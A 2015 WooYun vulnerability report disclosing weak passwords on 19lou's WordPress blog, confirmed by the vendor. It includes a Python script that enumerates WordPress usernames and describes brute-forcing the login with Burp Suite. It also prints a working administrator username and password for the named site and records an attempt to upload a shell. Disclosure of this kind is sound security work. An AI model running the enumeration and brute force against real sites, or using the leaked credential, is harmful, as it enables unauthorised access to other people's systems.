当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124465

漏洞标题:十九楼某站内部系统弱口令多个(附测试脚本)

相关厂商:十九楼

漏洞作者: 盖世

提交时间:2015-07-04 12:20

修复时间:2015-08-18 12:48

公开时间:2015-08-18 12:48

漏洞类型:后台弱口令

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-04: 细节已通知厂商并且等待厂商处理中
2015-07-04: 厂商已经确认,细节仅向厂商公开
2015-07-14: 细节向核心白帽子及相关领域专家公开
2015-07-24: 细节向普通白帽子公开
2015-08-03: 细节向实习白帽子公开
2015-08-18: 细节向公众公开

简要描述:

十九楼某站内部系统弱口令多个(附测试脚本)

详细说明:

漏洞系统http://blog.19ued.com/
使用的是WordPress的博客系统
根据WP的缺陷可以遍历用户名我们就
http://blog.19ued.com/?author=1
...
http://blog.19ued.com/?author=100
为了快速遍历,就为这个wp系统写了一个简单的抓取用户的脚本

import sys
import os
import re
import argparse
import urllib2
parser = argparse.ArgumentParser(description="This is a value")
parser.add_argument('--url',action="store",dest="url")
given_args = parser.parse_args()
url = given_args.url
for i in range(1,50):
geturl = url+"?author=%d" % i
print geturl
try:
request = urllib2.urlopen(geturl)
data = request.read()
except urllib2.HTTPError, e:
data = e.read()
p = re.compile(r'<body class="archive author author-(.+?) author-')
matchs = []
matchs = p.findall(data)
for j in matchs:
try:
f = open('username.txt','a+')
f.write('\n')
f.write(j)
except IOError as err:
print("File Error:"+str(err))
finally:
if 'f' in locals():
f.close()
print "The End"


测试截图

19lou1.PNG


得到的用户名

19lou2.PNG


本来爆破也写了脚本的,不过由于有比较好用的burpsuite就用这个工具吧
http://blog.19ued.com/wp-login.php 后台
爆破得到用户名和密码

19lou3.PNG


登陆一下,发现做了403限制,那么我们从首页在进入后台就可以了
利用zhanlijun/123456登陆发现管理员权限

19lou4.PNG


虽然是管理员权限,上传目录都做了不能写入的权限,没法上传那shell了,但是
模板编辑处也没有修改的权限,真是日了狗了,还没有想到其他拿shell的方式,就到这里吧。

漏洞证明:

漏洞证明

19lou3.PNG


19lou4.PNG

修复方案:

版权声明:转载请注明来源 盖世@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-07-04 12:47

厂商回复:

感谢楼主提交。经查发现确实有一些弱密码存在。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-08-19 10:24 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效,坚持好的习惯千万不要放弃)

    小脚本